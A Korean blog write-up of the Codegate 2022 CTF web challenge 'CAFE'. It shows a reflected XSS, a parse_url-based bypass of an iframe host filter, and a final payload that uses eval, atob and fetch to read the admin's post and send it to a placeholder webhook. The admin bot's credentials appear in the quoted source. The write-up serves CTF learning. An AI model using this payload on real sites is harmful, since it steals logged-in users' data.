본문 바로가기

웹해킹/CTF

Codegate 2022 webhacking CAFE Writeup

반응형

Codegate 2022 webhacking CAFE Writeup 

1. Cafe Writeup

Description

You can enjoy this cafe :)
upload text, youtube, ...

 

CAFE Writeup

cafe에 접속을 하면 다음과 같은 화면이 나온다. 먼저 flag 위치를 찾아보자.

 

db.sql

flag는 db.sql 코드에 있었다. insert 문을 통해 첫 번째 게시글에 flag가 적혀있다.

 

 

#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
import time
import sys

options = webdriver.ChromeOptions()

options.add_argument('--headless')
options.add_argument('--disable-logging')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--no-sandbox')
#options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")

driver = webdriver.Chrome(ChromeDriverManager().install(),options=options)
driver.implicitly_wait(3)

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
driver.find_element_by_id('submit').click()
time.sleep(2)

driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))
time.sleep(2)

driver.quit()

이후 bot.py에서 보면  headless chrome browser 로 관리자로 로그인 후 /read?no=번호 페이지로 이동해서 내용을 확인한다. 따라서 "read?no=" 를 이용해서 flag가 담겨있는 게시글을 볼 수 있을 것이다.

 

 

<?php 
  if(isset($_GET['text'])){
    $text = $_GET['text'];
    $id = $_SESSION['id'];

    $posts = searchPosts('%'.$text.'%', $id)['all'];
  }
?>

search.php 코드를 보면 GET 메소드로 text를 입력받는다. 여기에 /search?text=<script>aelrt(1)</script> 을 시도해도 간단하게 XXS 취약점이 존재하고 있음을 알 수 있다.

 

 

  function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }

util.php 코드를 보면 filterHtml 함수가 있다. 게시물에 $allowTag 배열에 해당하는 HTML 태그가 있으면 해당 태그를 삭제하는 기능을 한다. iframe 부분에서 $host = parse_url() 함수를 사용하는 모습이 보인다. parse_url 함수는 버그가 존재한다.

 

parse_url($parsed, PHP\_URL\_QUERY);  // url에서 쿼리 형태의 질의문을 가져온다.

parse_url에 동작 방식으로 인해 /을 사용하면 우회가 가능하다. 따라서 parse_url 버그를 통해 필터링을 우회한다.

 


이제 exploit script를 작성해야 하는데 먼저 Ajax라는 개념에 대해서 확인하고 exploit Script를 작성해보자.

 

 

Ajax란?

Ajax는 Asynchronous Javascript and Xml의 약자이다. js의 라이브러리 중 하나로, 브라우저가 가지고 있는 XMLHttpRequest 객체를 이용해서 페이지의 일부만을 로드하는 기술이다. 쉽게 말하면 js를 이용한 비동기 통신이며,  클라이언트와 서버 간에 XML 데이터를 주고받는 기술이다. 

$.ajax({
        type: "post",
        url : "http://localhost:8080/test2",
        ////////Content-Type 명시함
        headers: {'Content-Type': 'application/json'},
        ////////보낼 데이터를 JSON.stringify()로 감싸주어야 함
        data : JSON.stringify(obj),
        success : function (data){
        	console.log(data);
        },
        error : function(e){
        }
})

위 코드는 ajax로 json 데이터를 보낼 때 사용하는 예시이다.

 

$.ajax(
    {
        type:"POST",
        url:"/bet",
        data: {
            "user-bet":1,
            "user-choice":1,
            "service-port":"@your.server.url:7777"
        },
        success: (data, status) => {
            window.location.replace(data);
        }
    }
)

위 코드는 실제 GCHD에서 Ajax를 이용한 문제에서 사용되었던 Ajax 사용 예시이다.

 

 

fetch()

js 내장 라이브러리이며, promise기반으로 만들어져서 데이터 핸들링이 편하다. 당연히 내장 라이브러리이기에 import를 안 해도 된다. 사용할 땐 .json() 메소드를 사용해야 한다.

fetch(url, options)
  .then((response) => console.log("response:", response))
  .catch((error) => console.log("error:", error));

위 코드는 fetch 함수를 사용하는 방법이다.

 

둘 다 js에서 비동기 HTTP 통신을 할 때 사용한다. HTTP 통신을 할 때 또 여러 가지 인증방법이 있다. 먼저 Base Authentication을 포함한 URL을 구성했다.

 

URL parsing

http://3.39.55.38:1929\@google.com/read?no=1

위 그림을 참조해서 예시로 만들어보면 다음과 같다.

 

http://3.39.55.38:1929/@google.com/read?no=1

위에서 말한 것처럼 parse_url() 함수로 인해 '\'는 '/'로 인식된다. XXS가 가능한 search로 바꾸면 다음과 같다.

 

 

 

http://3.39.55.38:1929/search?text=<script>alert(1111)</script>
http://3.39.55.38:1929/search?text=%3Cscript%3Ealert(1111)%3C/script%3E

여기서 fetch함수를 사용하면 된다.

 

<script>eval(atob('fetch('/read?no=1').then(async function(res){var a=await res.text();fetch('웹훅사이트',{'method':'post','body':'a='+a});});7'));</script>"></iframe>

따라서 우회한 스크립트는 위와 같다. atob 안에 내용은 base64로 인코딩해서 사용하면 된다.

 

 

CAFE writeup

iframe이 정상적으로 작동하는 것을 알 수 있다. 이후 report를 클릭하면 내 웹훅 사이트로 패킷이 오고 flag를 찾을 수 있을 것이다.

 

FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

 

 

 


참고문헌

https://www.daleseo.com/js-window-fetch/

https://domdom.tistory.com/entry/Codegate2022-WEB-CAFE

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! (blackhat.com)

https://mchch.tistory.com/181

 

 

 

 

 

728x90